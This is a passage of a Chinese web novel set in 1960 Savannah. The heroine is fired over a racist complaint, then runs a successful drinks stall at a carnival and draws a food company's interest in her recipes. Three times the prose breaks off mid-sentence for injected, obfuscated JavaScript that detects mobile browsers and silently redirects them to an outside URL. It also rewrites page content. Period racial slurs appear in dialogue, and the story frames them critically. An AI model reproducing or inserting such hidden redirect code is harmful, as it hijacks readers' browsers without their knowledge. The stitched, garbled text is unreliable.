“...亲爱的,我不是一个多嘴多舌的人,不过那个开纽约客小汽车的青年,不是你的约会对象吗?”有爱八卦的女职员注意到了这些,故意凑到艾玛身边说话,想看看她的反应。
艾玛狠狠瞪了等着看热闹的同事一眼,没有说更多,但中午抽空就进了经理办公室,举报丽莲转卖公司电视机给黑人的事儿。
艾玛是个离家出走的女孩,她原本跟随母亲、继父生活。意识到继父只是把她当作后面一长串孩子的保姆后,她毅然决然离家,想要为自己找一个‘更好的出路’。这个出路当然不是在伍德兄弟商店当女导购,关键是以此为跳板,钓个金龟婿!
她认为自己有美貌,只要能抓住机会,这并不难。
扎克是她认为到目前为止最好的目标了,年轻而未婚,本人刚刚从布朗大学毕业,父亲是亚特兰大一个大纺织厂的老板,财力雄厚。而且他本人也不算精明,不是那种只会占便宜,完全没想过结婚的浪荡子弟。
但扎克见过丽莲·富尼叶之后,注意力就完全转移了,这让艾玛愤怒之外,又十足地不甘心!
艾玛现在租住的房子也在桃树营地一带,那天刚好发现了丽莲转卖从伍德兄弟商店新买的电视机。她当时并不当回事,最多有些鄙夷丽莲为了挣那几块钱,居然和那些黑人接触!实在是昏了头了。
除此之外,她并不打算多管闲事...毕竟这也没损害到她的利益么。
但现在不一样了,她将扎克的‘变心’完全怪罪到了丽莲头上,就通过这种方式报复丽莲。
从经理办公室回到美妆区,看到丽莲,艾玛没有直接对她说什么,而是和自己同一组柜台的姑娘说:“...你能想象吗,有的人居然会和黑鬼打交道,这可不是正派人该有的样子——而且是拿公司的东西卖给黑鬼......”
“平时总是装模作样,好像是体面人家的大家闺秀一样,其实只是流动剧团康康舞女郎的女儿...这下要被戳穿了......”
5. 萨凡纳嘉年华(5)
“...是的,富尼叶小姐,这么说来,你承认这件事喽?”
经理摘下眼镜,站起来摇摇头:“我并不想处罚你,你应该明白的,你在美妆区干的很好,是最守规矩的姑娘之一,营业额也一直很高。”
丽莲是在这一天快下班时才被叫去经理办公室的,不过在来之前已经知道是为什么。虽然经理告诉艾玛,他会处理这件事,让她不要对外传。但艾玛忍不住要奚落丽莲,还是说出来了。
“我的确转卖了从公司购买的电视机,但我想这并不违反任何规定。”丽莲很确定这一点。毕竟她是按规矩购买的,甚至电视机也没有内部员工折扣,这种商品买下后再怎么处理,完全就是她的事。
如果她真把伍德兄弟商店当进货的地方了,理论上这是创造营业额,还得谢谢她呢!
当然,卖给黑人是一个问题,因为按照‘惯例’,卖给黑人有‘黑人税’,丽莲这算是坏规矩。但也就是做的量大,做成了产业才能这样说,丽莲只是帮了一次认识的人,如果这也得处罚,那就太苛刻了。
“没错,并不违反任何规定,这我明白...但公司有自己的名誉需要维护,如果让客人知道,我们的店员私下转卖商品给黑人,这是有损声誉的。这一条街上的店铺,没有一家会和黑人打交道,大家一起维护着传统和秩序,您认为呢?”
“我明白现在的年轻人,特别是那些洋基佬,总是认为这类事无伤大雅——我也并不歧视黑人,只是我们服务的顾客都是正派的白人,得考虑他们的感受。”
虽然经理说是不歧视黑人,但看他的言行,他骨子里就看不起黑人。只不过受过高等教育,再加上本性不坏,他平常不会主动针对黑人而已。可被动遇上了,嫌弃之情还是会溢于言表。
“您直接说吧。”丽莲知道争辩没意义,沉默了几秒钟,直截了当地问。
“很遗憾,我只能开除你了。”经理看起来是真的有点儿遗憾。丽莲在美妆区干的很好,站在管理层的角度来说,这样的员工也不是随便都有的。
“不过我想富尼叶小姐您不用觉得挫折,所有人都能看出您前途远大,绝对不是小小的‘伍德兄弟商店’能容纳的。”经理的话说的很明白,无非就是暗示丽莲容貌美丽,钓金龟婿一钓一个准,绝对不会‘空军’。
这在此时不是阴阳怪气,相反,一个姑娘如果没有这上头的指望,那才真正会失落。但丽莲作为21世纪新女性,是不可能喜欢听的。
事情到这里就没有转圜的余地了,1960年的美国,开除一个员工就是这么简单,没有这样那样维权的流程。不过经理个人确实不针对丽莲,最后结清了没发的薪水,包括余的这几天也是。
丽莲拿到了总共113块的剩余工资,离开了经理办公室,然后就是回更衣室换衣服什么的,制服还要还给‘伍德兄弟商店’呢。
她回到更衣室的时候,原本吵吵闹闹的,所有人都在下班呢。但她一走进去,立刻安静了下来,就算不知道发生了什么的人,也隐隐约约听说丽莲被开除了......
丽莲从柜子里拿出属于自己的东西,抬头就看到艾玛得意洋洋地朝她笑:“和黑鬼打交道,早该让你滚蛋的!你根本不应该来这儿,去下街那家炸鸡店做女招待不是很好吗?我猜你的黑鬼朋友肯定会很欢迎你!”
丽莲以一种看傻瓜的表情看她:“我猜经理应该告诫过你,不要说这些事,因为到此为止对‘伍德兄弟商店’是最有利的——我想你这样到处嚷嚷,没有人会高兴,至少管理层不会。”
见艾玛表情从挑衅、不屑,转变为困惑,然后皱起眉头。丽莲才接着说:“顺便一说,之前我看到了,看到你晚上偷藏在更衣室过夜。当时你还没有拿到工资,根本没钱找地方住,对吗?”
艾玛是离家出走的,来伍德兄弟商店头一个月又没有钱到手,生活当然艰难。不过最开始半个多月她睡在一个远房表亲的客厅里,勉强对付了过去。但之后她那个远房表亲离开了萨凡纳,她又没地方可去了。
没办法,只好所有人走了后留在女更衣室...丽莲刚好发现了,这当然是重大违规,但丽莲听说她是离家出走、独自打拼,生活很不容易,就没有向上报告或者说给其他人。
丽莲临走前的话,让大家看艾玛的表情都奇怪了起来。说起来大家也不是没同情心,了解艾玛情况的大多能理解。问题是,有的人算艾玛偷藏在更衣室过夜的日子,就想到那段时间女导购的更衣室丢东西特别多。
这和艾玛有没有关系?连丽莲都不能肯定,恐怕只有艾玛自己知道了。
但从这个时候开始,其他人难免会怀疑她。而且偷藏在更衣室里过夜的事被管理层知道了,还不知道是什么结果...这种事已经过去了,没有抓现行的情况下,当没有这回事,睁一只眼闭一只眼过去可以。可要是一板一眼,一切照章办事,开除她似乎也不奇怪。
丽莲两句话有冤报冤有仇报仇后,就潇洒离开了。
回到桃树营地,她还和玛丽提到了今天发生的事。玛丽一边是‘我早让你小心’,一边却又替她愤愤不平,对艾玛告状的行为顶看不上。
“其实也没什么,本来也不打算做多久了...本来是打算做一个月半的,这样辞职的时候薪水不会扣。不过现在因为是他们无理由开除
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619171|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我,也没有扣薪水...”实际是有理由的,但这样的理由并不存在于规章制度上,所以拿不到明面上。
丽莲无所谓地摇摇头:“照原本的计划,几乎是一离开伍德兄弟商店,就要进游乐园摆摊了...那太累了,而且现在这样准备的时间更充分。”
是的,丽莲要趁‘萨凡纳嘉年华’做的小生意,就是在临时搭建的游乐园内摆摊——她还想上大学呢!首先就要在一年内把学费挣出来(考上大学后,推迟入学、休学只能有1年,超过就会注销学籍了)。可要靠正常上班挣学费,那怎么可能?
她考上了哥伦比亚大学,这所大学的学费可不便宜,这个时候学贷又不容易申请(关键是她的情况,本来就很难申请到)。至于说一边上大学、一边打工,这是她没考虑过的,先不说正常打工能不能承担哥伦比亚大学的学费、学杂费、生活费。就算可以,那她也没时间读书了!
她对大学这样执着,除了受上辈子影响,总觉得有机会还是得读个大学。也确实是打算学东西的,而不是想着把钱扔出去,就为了买个学历。
摆摊也只是丽莲的第一步,她的计划是借这次‘萨凡纳嘉年华’的机会,先把自己的存款翻个倍。然后再去纽约——她对这个闭塞守旧,处处都提醒她格格不入的小城没什么感情。这边也缺乏让她发展的机遇,所以她将自己的下一站定在了大城市。
纽约、洛杉矶那样的大城市。
大城市总是有更多的机会,而且更接近丽莲记忆中的‘现代世界’,她会更习惯那样地环境。
至于为什么是纽约,首先纽约就是美国最大的城市,其次哥伦比亚大学也在纽约。如果丽莲真的在纽约混出名堂来了,将来上学时也方便她继续自己的事业。
而万里长征第一步,就是游乐园摆摊。
别小看摆摊,虽然她上辈子那会儿,‘地摊经济’已经多半是笑话了。但在1960年,靠着一点点后来者的优势,只要找准定位、不贪心,赚点比上班多的小钱并不难。
丽莲上辈子只到毕业后半年,那半年时间除了自己那毫无进展、薪资少少的本职,其他时候也打过和室友一起摆摊的主意。
室友在这方面是老手,由此她也学到了一些...这就具备了摆摊的前提之一,毕竟做熟不做生嘛。
然后就是玛丽家是‘游乐园世家’,她拉了玛丽合伙做这个生意,这样她在游乐园内摆摊就畅通无阻了——这种游乐园内摆摊,都是要给市政府和游乐园的组织承包者租金的,但餐饮类摊位竞争激烈,很多时候不只是租金的事儿。
而且就算是进了游乐园,里面有人也更好做生意嘛。
6. 萨凡纳嘉年华(6)
丽莲在制作冰红茶。
这个做起来很简单,用盐搓过的柠檬,冲洗后一个个光洁闪亮。然后切片去籽,用捣汁棒捣出一些汁水,加少许盐,最后用砂糖腌渍。
然后等待腌渍完成的时间,则可以用来泡茶。只要用最便宜的红茶茶包就好了,在玻璃水壶里焖泡一大壶红茶,加入砂糖(如果有冰糖就更好了,可惜在美国很难找到冰糖)。之后就是等候冷却的时间...如果等候不及,加入冰块快速冷却也行,不过丽莲现在有时间,所以没有着急。
冷却的加糖红茶,放入腌渍好的柠檬片,加冰块就是冰红茶了。味道和丽莲上辈子买的一样,甚至更好喝,有一种手工制作、更不容易喝腻的感觉。
当然,滚烫的红茶要冷却也要很多时间,所以丽莲这个时候就开始煮‘柠檬果蜜’,这是为制作冰鲜柠檬水做准备——之前用盐搓过的柠檬还有一些剩下的,现在可以刮下薄薄的柠檬皮,然后用砂糖腌渍。
至于剩下的柠檬,对半切开后用手动榨汁器榨汁,只保留柠檬汁。
柠檬片要腌渍1个小时,腌好后倒进锅子里,然后加柠檬汁和饮用水,大火煮开再转中小火熬煮,直至浓稠。这个时候过滤掉柠檬皮,得到的就是可以储存起来的柠檬果蜜了——冰鲜柠檬水就是用几片鲜柠檬捣汁,再加上柠檬果蜜兑水。
丽莲这大半天都在忙几种饮料,包括冰红茶、冰鲜柠檬水、混合果汁、冰美式、椰香拿铁、超级水果茶6种,这是她计划的摆摊品类。
是的,她打算摆摊卖小甜水...选择卖小甜水,主要是这个品类大部分都可以提前准备,这对摆摊经营就方便不少了。其次,几十年后上网一搜一大堆、根本不值钱的各种小甜水配方,在此时却可能是各种饮料店的‘秘密配方’。所以一种好口味的饮料,是真的可以成为杀手锏的。
然后,根据她上辈子从室友那里得到的经验,所谓卖‘网红小甜水’的,除非主要是为了做视频,不然是很难挣钱的。但有一种情况例外,那就是能在人流量多的游乐场合摆摊,竞争对手又不太多的情形。
萨凡纳嘉年华期间的移动游乐场就完美符合!
总之,等玛丽去亚特兰大取了塑料饮料杯回来,6种计划的摆摊饮料都准备好了,丽莲连忙让她过来试喝。
之前丽莲就写信给了附近几个州生产一次性纸杯和塑料杯的工厂,索要他们的产品目录了,最后挑中了亚特兰大一家工厂生产的一次性塑料杯。这家的品质不是最好的,单价也不是最便宜的。但亚特兰大是本州首府,离萨凡纳也不远,她们可以上门提货。而且对方答应给长期大单才有的批发价(只是要她们是自己上门来取),算下来总成本是最低的。
说起来,此时这种一次性塑料杯还很少见,当下一次性杯子大多是纸杯。纸杯技术更成熟,而且热饮也可用。不过丽莲她们做夏季冰饮,用塑料杯就行了,甚至透明塑料杯配色彩缤纷的小甜水效果还更好。
“500ml的塑料杯,配十字口的杯盖,还有塑料吸管...总共6000套,真的用得完吗?”回来后,将这些东西一箱箱搬下来,玛丽不太确定地问。
萨凡纳嘉年华总共2个月,如果要用完这些,就得平均每天卖100杯饮料了。看起来不算多?但玛丽也曾经和其他游乐场世家的小女孩一起卖柠檬水和曲奇饼干,对游乐场里这些东西的出货量有一个大致的估算,并不觉得100杯是很容易卖出来的。
“这是很保守的估计了,游乐场那么大的人流,只要我们的饮料味道好,我认为能够卖出更多。到时候杯子不够,甚至还要再去一趟亚特兰大呢!”丽莲胸有成竹地说,并让玛丽赶紧品尝新鲜出炉的饮料。
这次的摆摊生意,属于是玛丽和丽莲合股干——2个月的萨凡纳嘉年华,要在游乐场里摆摊就得付租金。不同规模、不同种类的生意价格不同,游乐项目租金比较低,如玛丽家的摩天轮这种人气项目,天然能招徕顾客,甚至不需要付租金。
餐饮的话就不同了,它们属于沾光的,租金就比较多了。就算丽莲和玛丽的可移动饮料摊,从规模上属于最小的那种,也需要一次性缴纳300美元的租金。
这300块丽莲出了200块,给了华莱士夫妇,请他们办好摊位的事。至于说剩下100块,是他们为女儿补上了,还是他们以‘自己人’的便利给免了,这丽莲不知道,总之她认玛丽这里出了100块就是了。
除此之外,华莱士夫妇还为女儿租到了一个手推的餐车,以及大概是从酒吧之类的地方弄到的‘果汁桶’‘啤酒桶’——就是那种玻璃身的大罐子,低处加了一个金属水龙头,从中放出饮料来十分方便。
这些东西也算玛丽的入股,对冲了丽莲的技术入股,即那些饮料配方。
还有一次性杯子、首批原材料,也是丽莲和玛丽2:1出钱,玛丽本来就有一些积攒的零用钱,用在这里刚刚够。
她们说定了,合股经营,利润丽莲2/3,玛丽1/3。
“看起来,你对你的‘独家配方’很有信心?我以前怎么不知道你有这一手?”玛丽好奇地问。不过她也只是随便问问,现在最重要的是尝尝丽莲准备好的饮料,这可是关系到这次萨凡纳嘉年华她能不能大赚一笔!
这个年纪的孩子没有不想赚钱,然后买自己想买的各种东西的!玛丽如果不是因为这个,也不会轻而易举被丽莲说动,和她合股经营饮料摊!
摆在面前的6种饮料,她最不感兴趣的就是冰美式,所以首先喝了一口这个——果然,就和任何一家咖啡店可以喝到的冰美式没有任何区别,就是那种可以说是寡淡,也可以说是清爽的咖啡味儿。
“这个真能卖出去吗?”玛丽很怀疑。
“只要足够便宜就行...嗯,总有人会想喝咖啡饮料的,即使是在游乐场,不然那么多冰美式是怎么卖出去的呢?”丽莲不觉得这是个问题。
‘美式’是诞生比较晚的咖啡饮料了,据说是二战时的发明。说是美国士兵在意大利见到了当地的意式浓缩咖啡,因为喝不惯就兑水饮用。后来美国大兵回国,这种兑水的浓缩咖啡也跟着传回了国,这时候再配上美国人喜欢往各种饮料里加冰块的做法,就有了冰美式。
冰美式很受美国人的欢迎,他们大概就是好这一口?
“我会把冰美式定为我们摊位上最便宜的饮料的,嗯,它从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619172|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成本上来说也是最低的...就20美分一杯。”丽莲为了增强说服力还点了点头。
“20美分一杯冰美式?这太贵了吧!”玛丽下意识觉得不行。
主要是萨凡纳的咖啡馆里,普通的咖啡普遍也只有20美分一杯,更何况是冰美式!冰美式因为配料简单,就是兑水咖啡而已,一般都是最便宜的。15美分、10美分,甚至5美分一杯的店都有呢!
“我觉得没问题,首先我们可是在游乐场里!游乐场内的餐饮比外面的贵一些,不是应该的吗?”丽莲首先提出了一个玛丽无法反驳的理由,作为‘游乐场世家’的孩子,她太知道游乐场内外的价差了。
然后丽莲又说:“还有杯子,我们的饮料杯可比别人大多了!这是500毫升的,一杯比得上两杯了...你觉得呢?”
此时的美利坚,还没有食物都是大号、超大号,一次性饮料杯的容量以几十年后的眼光看也过小了。而丽莲选择一次性杯子的时候,挑的就是此时比较少见的大号杯,为的就是让人觉得实惠...想来未来几十年美国人会越来越喜欢‘大的’,现在应该也会被吸引吧。
“好吧,我被你说服了...先尝尝别的。”玛丽点点头,然后就拿起了冰鲜柠檬水。
柠檬水也是美国人,尤其是美国小女孩非常熟悉的饮料了。很多人小时候都有过卖柠檬水和曲奇给大人,挣零花钱或者募捐的经历。不过这种柠檬水,一般都是用果珍粉兑水做出来的,而不是像丽莲这样,还能看到几片鲜柠檬。
玛丽喝了一口刚加好冰块的冰鲜柠檬水,立刻就露出了不可思议的表情。虽然从‘冰鲜柠檬水’这个名字就能看出来了,用的是鲜柠檬,而不是兑水而成的柠檬水,但玛丽还是没想到会做的这么好喝。
玛丽对冰鲜柠檬水赞不绝口,得知要卖25美分一杯,也不觉得有任何问题。
之后玛丽还依次品尝了混合果汁、冰红茶、椰香拿铁、超级水果茶,每一样都很满意。属于是口味上就觉得很好喝的同时,还让人有耳目一新之感——混合果汁、冰红茶、拿铁、水果茶都是已经存在的饮料,只不过各家有自己的配方和做法,味道不会完全一样。
丽莲做出来的这些,不仅仅是味道不完全一样,而且风味上的新鲜感要更强烈...当然,是好的那种。
其中冰红茶、超级水果茶和冰鲜柠檬水都是25美分一杯,混合果汁和椰香拿铁则因为成本和真材实料给人的感觉,定价为30美分一杯。
“不算前期投入的话,冰美式每杯能赚11美分,杯子比咖啡值钱。冰鲜柠檬水每杯能赚15美分,冰红茶、超级水果茶是14美分,混合果汁18美分,椰香拿铁17美分...每种只要卖20杯,即一天120杯,就能挣37块8毛了。”丽莲迅速计算出数字。
玛丽也很快跟进:“这样的话,整个萨凡纳嘉年华就有两千多块?哇哦!”
在喝过那些饮料后,玛丽也不觉得一天卖120杯是什么难以企及的目标了,所以没有反驳这个前提。而是按照丽莲的预计,估算这个夏天的总收入,并迅速意识到一切按这个来的话,自己就能有好几百块落袋了,觉得非常不可思议。
7. 萨凡纳嘉年华(7)
萨凡纳嘉年华,原本只是为了‘萨凡纳河节’举行的一个庆祝活动,是在最近二三十年才发展成了一个为期两周的大型嘉年华的。不过在两周的嘉年华结束之后,移动游乐场依旧会在萨凡纳停驻,前后总共有两个月呢!
游乐场开业这一天选在了6月11日,这一天是礼拜六,人肯定多,算是为游乐场接下来两个月的生意开一个好头!
这一天早上,华莱士一家和丽莲都早早起床,主要是游乐场第一天,准备工作比较多。丽莲和玛丽也是,她们首先要准备今天卖的饮料——需要的原材料都提前准备好的,能提前做成半成品的也进了做成半成品,但总有一些需要临时做。
比如说混合果汁,果汁只能鲜榨,不然味道都要变了。实际上,总共6种饮料,装其他饮料的果汁桶都是10升的,只有装混合果汁的玻璃果汁桶为5升,就是担心卖的时间太长,果汁味道不新鲜。
大约花了两个小时准备好饮料,并将它们放上手推餐车。然后就是用盐擦好、冲洗干净的柠檬装了一盆,这个是做冰鲜柠檬水时要切柠檬片用的。再有制作混合果汁的水果和榨汁机也准备好,和从租的冰柜里拿出的成袋可食用冰块(冰块要先放进保温箱中),一起塞在摊车下面的柜子里,这就可以出发了。
游乐场早上10点开门,晚上10点关张,她们也要赶在10点钟之前进场。
“游乐场已经在排队了!”进场时,玛丽让丽莲看游乐场正门外的游客队伍。
“因为今天是第一天,大家已经迫不及待了。”丽莲也看了看,高兴地说。毕竟游乐场游客多,她们卖小甜水的摊车才有生意嘛。
她们很快找到了属于她们的位置,夹在玛丽家摩天轮和旋转木马之间,一处树荫下,算是很不错了。然后就是固定摊车位置,从摊车一侧拉开一个小小的操作台——可以在这个操作台切柠檬、加冰块什么的。
弄好摊位后,丽莲看了一眼四周,全都是各种各样的游乐设施和餐饮店,这是各个自营业主半个月的工作成果呢...这些‘游乐场商家’像候鸟一样往返于几个固定的地区,一年之中真正营业的时间大概是6个月到8个月。说起来好像假期很长,日子很轻松?其实不是的。
毕竟前期准备工作也很繁琐,尤其是一些大型游乐设施的业主,光是重新安装和事后拆解、运输都要花不短的时间了。六十年代也没有几十年后那么多方便省力的机械可以帮忙,这个活儿更是花时间!
将这些时间去掉,一年中真正能休息的时间也就两三个月。而这还要考虑到,游乐场经营者们在营业期间是没有任何节假日的,相反,节假日是他们最忙的时候...一年两三个月的假期,算下来还真没有正常休假的上班族假期总数多。
如玛丽家大概是一个半月前来的萨凡纳,前期休息了一个多月,这也是他们一年之中最长的一个假期了。然后又花了半个月时间准备这次的开业——算下来快两个月没赚钱了,所以这两天他们一家也是很期待的。
固定好摊车又过了大概十分钟,游乐园开始进场,周围热闹了起来。
理论上来说,刚入场大家首先会直奔游乐项目,餐饮还得等等才能开张。不过丽莲她们的饮料摊,招牌画画的漂亮(丽莲的手笔),两个女孩又穿着漂亮的女服务生制服,所以几乎是一下就吸引到了一些注意力。
有两个一起的男孩儿,原本是要去玩儿过山车的,经过饮料摊看到戴着纸王冠(王冠上是色彩缤纷的饮料)、系着花边围裙的丽莲,就根本走不动了。下意识走过来,迟疑了一下后就买了饮料。
玛丽其实很怀疑这两个男孩儿根本不知道自己点了什么饮料,不过无所谓了,对于正在经营自己生意的玛丽来说,顾客就是上帝,买饮料的都是好男孩。
一杯冰鲜柠檬水、一杯混合果汁很快做好卖出,算是一个开门红。
之后零零散散卖饮料,直到过了11点,第一波玩累了的游客开始将目光放在了吃吃喝喝上。而且这个时候天气也很热了,所以加了大量冰块,一看就很冰爽解渴的饮料,还是超大杯的(在此时来说,500毫升就算超大杯了),立刻大受欢迎,丽莲和玛丽之后基本饮料做个不停。
无论是午餐时间,还是午餐后最热的一段时间,她们的饮料摊都生意火热。中间果汁桶里的饮料用完,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619173|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还请玛丽的弟弟帮忙去拖车拿提前做好的饮料来,顺带还拿了几袋冰块。至于混合果汁,则是现做了两桶了!
实际上,她们的饮料摊直到晚餐之后才慢慢变得清闲了一些,这个时候站了数个小时的玛丽抓紧时间坐下休息,一副快要死了的表情——这方面丽莲比她好一些,此前她在伍德兄弟商店做导购员,也是整天站着,算是有经验了。
晚餐后的生意相对差一些,但也不是没生意,每小时十来杯还是能卖的。所以丽莲和玛丽没有提前撤退,这在摊车里算是比较晚的,基本和玛丽爸妈一起回去了。
回到家后,丽莲她们还要抓紧时间做第二天出摊的准备工作,虽然玛丽已经快要累趴下了,这时候却比昨天更积极。无他,赚到钱了嘛!即使这个时候还没有算账,看今天的忙碌程度、用掉的一次性饮料杯,也能大致估算出一些了。
等到第二天出摊的准备工作做完,一番洗漱后上床时,已经快12点了。虽然很想睡觉,丽莲和玛丽还是强行压制着睡意,打开了放钱的小箱子,把今天的营业额全都倒在了毯子上,然后就跪坐在毯子上数钱。
纸币展开铺平,不同面值分成不同的小堆...其实也没有几堆,因为谁也不会用大面值的纸币买饮料,所以收到的纸币普遍是1美元的,2美元的都不多。至于其他更大面值的,更多是顾客没有零钱,或者特意破大钱才给出的。
相对来说,硬币就超级多了,1美分、5美分、10美分、25美分的,偶尔还能看到50美分的。丽莲将这些硬币分类后每10枚卷成一筒,最后算账光是硬币都有七十多块!加上纸币,第一天的营业额就达到了九十多块。
“94块65美分?哇!那不是说,两个月我们可以挣到快6000块?”这个数字算出来,玛丽都不敢相信。
“这是营业额,没有减去本钱,而是今天是第一天,又是周末...之后不可能每天都有这样漂亮的营业额的。”丽莲就比玛丽要镇定一些了。
但她也很高兴,毕竟不算固定成本,除去原材料,这一天也大概赚了五十多块的样子...这样看来,饮料摊还真是超出想象的受欢迎啊!
8. 萨凡纳嘉年华(8)
的确,就像丽莲说的那样,她们的饮料摊是做不到每天都像第一天那样的营业额的。不过第二天礼拜日也不错,维持了差不多的营业额,之后才慢慢降低了一些。不过在萨凡纳嘉年华期间,游乐场吸引了大量周边居民和游客,其实也没少多少。
两个礼拜后,也就是萨凡纳嘉年华结束,不算摆摊的固定成本,丽莲和玛丽这个饮料摊车的利润就达到了620块左右,平均每天44块的样子。
这样的利润,别说玛丽了,就是华莱士夫妇也啧啧称奇。这意味着玛丽和丽莲,一个人每天赚十几块,另一个可以赚二三十块。其中赚得多的丽莲,都和他们夫妻经营摩天轮的收入平齐了——虽然丽莲的收入没有减去固定成本,可他们摩天轮的收入也没算固定折旧啊!
另外,鉴于生意实在太好,玛丽和丽莲还雇了玛丽年纪比较大的那个弟弟,帮她们跑腿什么的。去拖车拿准备好的饮料、冰块,还有榨混合果汁的活儿,他都得干。每天干活时间不长,加起来可能都不到2小时,但每天能拿2块钱,他也很满足了。
不过等到萨凡纳嘉年华结束,营业额就没那么美妙了。结束后的头两天,因为是周末,营业额也还不错,可是进入工作日,营业额直线下滑!
工作日利润大概只能维持在20块出头。
就这样,还得感谢美国公立中小学在6月中旬到7月初开始放暑假...也就是这时候中小学基本放假了,游乐场的顾客依旧不少,不然利润还能低一些。
玛丽觉得有些沮丧,丽莲却早有心理准备,所以还好——其实就算工作日只有20块出头的利润,加上周末的利润,平均利润也能做到24、25块的样子。这种收入,在萨凡纳这种小城,对两个年轻姑娘已经很好了!
玛丽也不是不知道这一点,只是之前的收益将她的期待拉高了,现在需要一些时间恢复心态而已。
“冰鲜柠檬水,多一份糖,冰红茶正常糖,总共50美分!多谢惠顾!”丽莲将一杯冰鲜柠檬水、一杯冰红茶打包好,递给一个带着女儿的中年男人,露出服务业微笑的同时,收下了两枚25美分的硬币。
失落之后,饮料摊的生意还是要接着做,这就是丽莲在萨凡纳嘉年华过去后的平凡一天。
这个时候卖掉一杯冰鲜柠檬水和一杯冰红茶的丽莲也没有多想——她没想到,没过几分钟,这个中年男人就急匆匆地折返了。
丽莲觉得他不像是不满意饮料口味过来闹事的,就没有示意玛丽去叫人,只是试探地问:“抱歉,有什么我能为您做的吗?”
“哦...女孩儿...”中年男人嘟囔了一句,考虑了一下才说:“没什么,不过这几种饮料也替我分别打包一杯吧。”
他指的是除了冰鲜柠檬水和冰红茶以外4种饮料...既然是生意上门,那就没什么好说的了,丽莲和玛丽手脚利落地打包了4杯饮料。
递给这位先生后,他也没有立刻,而是立刻每种尝了尝。之后像是终于下定决心一样问道:“这些美味饮料是谁做的?我有一笔生意想和他谈谈。”
丽莲和玛丽对视一眼,最后当然是丽莲站了出来:“实际上,这些都是我做的...您说‘生意’?”
知道是丽莲制作的,中年男人似乎有些不信,但也没说什么,只是想了想后说:“好极了,实际上我是‘欧森食品’佐治亚州食品工厂的生产主管,我认为你的饮料很有潜力,我是说商品化的潜力。”
“所以,你想买我的饮料配方?”丽莲很快抓住了重点。
中年男人不太想承认自己‘志在必得’,但刚刚冲动之下已经表现出了很强的意向,现在哪怕只是想装成一个咖啡店的店主打听配方都做不到了。所以也只能补救地说:“是的,我希望能够购买,不过这件事不是我能决定的,得研发部门的人拍板才行。”
丽莲感觉到了对方态度的转折变化,但也没有因此就主动起来,只是一副可有可无的样子,点点头说:“那好吧,你可以和你们的研发人员商量,一切到时候再说吧。”
中年男人似乎是意外丽莲的满不在乎,因此张了张嘴想说点儿什么,但最后还是一言不发地离开了——他不想让这个年轻姑娘觉得自己格外积极,到时候漫天要价。
不过他确实很看好这几种饮料,虽然基本都是早就有的饮料了,但他从来没喝过这么好喝的。如果能够工厂复刻成功,他对市场是很有信心的(工厂生产和厨房生产不是一回事,需要考虑的点也不完全相同,所以很难百分百复刻)。
所以,欧森食品佐治亚工厂的生产主管很快给研发部门的人打了电话,因为就在本州,第二天几个研发部门的人就到了。他们在这位生产主管的带领下进了游乐场,然后在丽莲和玛丽的饮料摊上每种饮料都买了两杯。
他们到一旁品尝了每种饮料,然后得出了和生产主管差不多的结论——除了冰美式没必要,其他5种饮料都可以购买配方、尝试复刻。
研发部的人想要和丽莲谈谈,但这个时间是饮料摊很忙的时候,她只能抱歉地笑笑,示意一会儿再说。实际等到晚餐后,丽莲才让玛丽一个人独当一面一会儿,自己和食品工厂的人去一边谈‘生意’。
“...富尼叶小姐,想必您已经听我们同事提过了,您的饮料配方相当出色,如果能够工厂生产、推向市场,是有可能成功的。”来的研发部职工里领头的一个,话说的颇为保守。
丽莲依旧是宠辱不惊的样子:“所以?你们决定要买下来吗?如果有意购买就报价吧,价格合适我就卖,价格不合适就不卖,这是很简单的事——你们大概能看出来,我哪怕经营饮料摊车也能有不错的收入,卖配方的钱其实不算什么。”
这倒是真的,这个时候配方或创意都很难卖上价格,哪怕是卖给大公司也就是几十到几百美元不等。要想卖的更高,就得先自己做品牌生产这个,然后做出市场来,吸引大公司的注意,然后等对方连产业带配方一起收购。
前者的经典例子是雀巢的巧克力豆,雀巢原本就卖巧克力豆,而一个名叫露丝的厨师在制作巧克力曲奇时巧克力不够了,就临时用了雀巢的巧克力豆。然后她意外发现巧克力豆没有融化进曲奇中,而是依旧保持了巧克力豆的样子,一颗颗镶嵌在曲奇饼表面,等于是发明了一种新的巧克力豆曲奇。
这种巧克力豆曲奇在露丝的餐厅大受欢迎,然后1939年时,雀巢以1美元的价格买下了配方(1美元是象征性的,同时还承诺会为露丝终身提供巧克力豆,不过以露丝的用量、巧克力豆的价格,也没多少钱)。
之后雀巢将这个配方写在了自家
